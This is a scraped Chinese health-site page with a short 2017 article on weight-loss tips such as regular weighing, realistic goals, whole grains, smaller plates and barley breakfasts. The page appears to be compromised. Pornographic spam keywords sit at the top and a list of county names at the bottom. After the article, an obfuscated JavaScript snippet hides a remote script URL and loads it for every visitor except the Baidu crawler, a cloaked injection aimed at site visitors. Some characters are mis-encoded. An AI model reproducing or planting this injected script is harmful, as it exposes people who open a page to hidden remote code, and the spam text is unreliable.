亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 減肥 > 減肥方法 > 正文

正確的減肥方法有哪些

2017-03-12 09:57:26  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):很多人減肥都沒有什么效果,這是為什么呢?是減肥的方法錯(cuò)了嗎?還是你自己自身的問題?下面就由專家來給大家?guī)讉€(gè)建議吧。

凡是成功減肥者,都經(jīng)常稱量體重,以便時(shí)時(shí)關(guān)注體重的控制情況。如果你只是根據(jù)自己喜愛的牛仔褲的寬松程度來判斷體重的增減情況,那是靠不住的。每個(gè)減肥者都有一個(gè)可接受的體重范圍,每個(gè)星期稱量一次或者多次體重,便于對(duì)飲食或者鍛煉情況及時(shí)做出調(diào)整,防止體重悄然上升。那么除了這個(gè)還有哪些方法呢?

制定切實(shí)可行的減肥目標(biāo)

我們知道,一磅脂肪等于3500千卡熱量,因而你在制定減肥目標(biāo)時(shí)一定要切合實(shí)際。減肥的黃金搭檔就是飲食與鍛煉相結(jié)合,并且最好是少吃一點(diǎn),多運(yùn)動(dòng)一點(diǎn)。為了確保你減掉的體重是脂肪而不是肌肉組織或者水分,每星期減掉1-2磅體重最為適宜。

多吃全麥谷物食品

一般說來,你所吃食物的加工程度越低,消化速度就越慢,從而飽腹時(shí)間就越長(zhǎng)。比如,一個(gè)蘋果的飽腹指數(shù)要大于同樣數(shù)量的蘋果醬,蘋果醬的飽腹指數(shù)又會(huì)大于蘋果汁。

空腹時(shí)間不要超過三四個(gè)小時(shí)

每天吃幾次零食或者在三頓飯之間加餐不但能夠抑制食欲,而且還能保持充沛的體能。一天之內(nèi)每隔一兩個(gè)小時(shí)就吃點(diǎn)食物,特別是富含蛋白質(zhì)與纖維素的飲食,對(duì)于瘦身減肥至關(guān)重要。

給餐具瘦身

我們看到一個(gè)司空見慣的現(xiàn)象是,廚房里的盤子越大,人們就越有可能放入更多的飯菜。因而,如果你想減肥,最好先給餐具瘦身,把廚房里的碗盤換成更小一點(diǎn)的,這樣你會(huì)吃得更少一點(diǎn)。

早餐吃大麥?zhǔn)澄?/strong>

大麥所含的碳水化合物屬于“低糖分指數(shù)”系列,也就是說,與其他碳水化合物食物相比,這類碳水化合物升高血糖的速度會(huì)更加緩慢,這不但有助于避免血糖大起大落,還有助于預(yù)防血糖驟降之后出現(xiàn)的饑餓感。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
安多县| 化州市| 铁岭市| 蓝山县| 乌海市| 遂川县| 曲麻莱县| 阳江市| 望江县| 陇南市| 汨罗市| 建宁县| 柯坪县| 陆丰市| 衡水市| 通河县| 庆云县| 兖州市| 洮南市| 乌苏市| 禹州市| 阿坝| 秦安县| 博爱县| 河津市| 新平| 古蔺县| 任丘市| 田东县| 蛟河市| 邛崃市| 包头市| 南京市| 吴川市| 凤冈县| 昌图县| 太湖县| 淮北市| 涪陵区| 宁陕县| 寿阳县|